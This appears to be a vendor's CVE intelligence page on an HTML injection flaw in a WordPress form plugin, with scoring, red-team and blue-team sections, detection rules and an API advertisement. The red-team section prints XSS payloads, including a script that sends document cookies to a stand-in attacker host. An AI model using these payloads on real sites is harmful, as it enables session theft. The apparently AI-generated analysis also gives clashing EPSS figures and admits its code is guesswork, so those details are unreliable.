☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-9940

CVE-2024-9940 HTML Injection in Calculated fields form
📅 PUBLISHED: 2024-10-17 02:06 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.70%
👁️
0.70% probability
17.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-9940 is a WordPress plugin vulnerability affecting the Calculated Fields Form plugin (all versions up to and including 5.2.45). The flaw allows unauthenticated attackers to inject arbitrary HTML into form submissions, which is then rendered when the administrator views the submissions via email. This is a classic HTML Injection issue (CWE-79), with a CVSS score of 5.3 (Medium). The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a persistent risk for WordPress sites using this plugin.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Administrators should monitor for updates from the vendor and apply patches as soon as they become available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – Unauthenticated attackers can exploit.
  • User Interaction (UI): Required (R) – The admin must view the email containing the injected HTML.
  • Scope (S): Unchanged (U) – The impact remains within the vulnerable component.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): Low (L) – HTML injection can alter the appearance of the email.
  • Availability (A): None (N) – No denial of service.

Threat Level: Medium. The attack requires user interaction (admin viewing email), but the low complexity and lack of authentication make it a viable vector for phishing or defacement.

Deep Dive & Mechanics

The Calculated Fields Form plugin allows users to create custom forms with calculated fields. The vulnerability lies in the plugin's failure to sanitize HTML elements from submitted form data. When an attacker submits a form with malicious HTML (e.g., <script>alert('XSS')</script> or <img src=x onerror=...>), the plugin stores this data and sends it to the administrator via email. The email client renders the HTML, potentially executing scripts or displaying arbitrary content.

Key Points:

  • The injection occurs in the email notification, not on the WordPress site itself.
  • The attacker does not need to be authenticated.
  • The vulnerability is present in all versions up to and including 5.2.45.
  • No patch is currently available.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The plugin likely uses a function like wp_mail() to send form submissions. The vulnerable code might look like:

// Vulnerable: Directly embedding user input into email body
$message = "New form submission:\n" . $_POST['field_name'];
wp_mail($admin_email, "New Submission", $message);

A patched version would sanitize the input using esc_html() or wp_kses():

// Patched: Sanitize user input before sending email
$message = "New form submission:\n" . esc_html( $_POST['field_name'] );
wp_mail($admin_email, "New Submission", $message);

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress site with the Calculated Fields Form plugin (version <= 5.2.45).
  • A publicly accessible form.

Exploitation Steps:

  1. Identify a form endpoint (e.g., /wp-admin/admin-ajax.php?action=cfdb7_submit).
  2. Submit a form with a malicious payload in a text field:
    <img src=x onerror=alert('XSS')>
    
  3. The admin receives an email with the injected HTML rendered.
  4. If the email client supports JavaScript (e.g., Outlook with active content), the script executes.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defense & Detection)

Detection:

  • Monitor email logs for unusual HTML content in form submission emails.
  • Use a web application firewall (WAF) to block common HTML injection patterns.
  • Implement email filtering to strip HTML from incoming messages.

Mitigation:

  • Disable the plugin until a patch is available.
  • Use a security plugin like Wordfence to block malicious form submissions.
  • Educate administrators to avoid viewing HTML emails from unknown sources.

Indicators of Compromise (IOCs)

  • Email Headers: Unusual Content-Type: text/html headers in form submission emails.
  • Form Data: Presence of HTML tags (e.g., <script>, <img>, <iframe>) in submitted form fields.
  • Network Traffic: Outbound connections from the WordPress server to attacker-controlled domains (if payloads exfiltrate data).
  • Logs: WordPress debug logs showing wp_mail() calls with unsanitized input.

Detection Engineering

YARA Rule

rule CVE_2024_9940_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in Calculated Fields Form plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-9940"
    strings:
        $html_tag = /<[a-zA-Z\/][^>]*>/
        $form_field = /field_name[0-9]+/
    condition:
        $html_tag and $form_field
}

Sigma Rule

title: CVE-2024-9940 HTML Injection in Calculated Fields Form
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTML injection attempts in form submissions
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: 'admin-ajax.php'
        http.body|contains: 
            - '<script'
            - '<img'
            - '<iframe'
    condition: selection
falsepositives:
    - Legitimate HTML in form fields (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9940 HTML Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Use a WAF to block HTML injection patterns (e.g., <script, <img, <iframe).
  3. Implement email filtering to strip HTML from incoming messages.

Long-term Fix:

  • Apply the official patch from the vendor when available.
  • Update the plugin to the latest version (if a patched version is released).
  • Consider using an alternative form plugin with better security practices.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact support@valtersit.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Calculated Fields Form"
http.html:"calculated-fields-form"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-9940/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.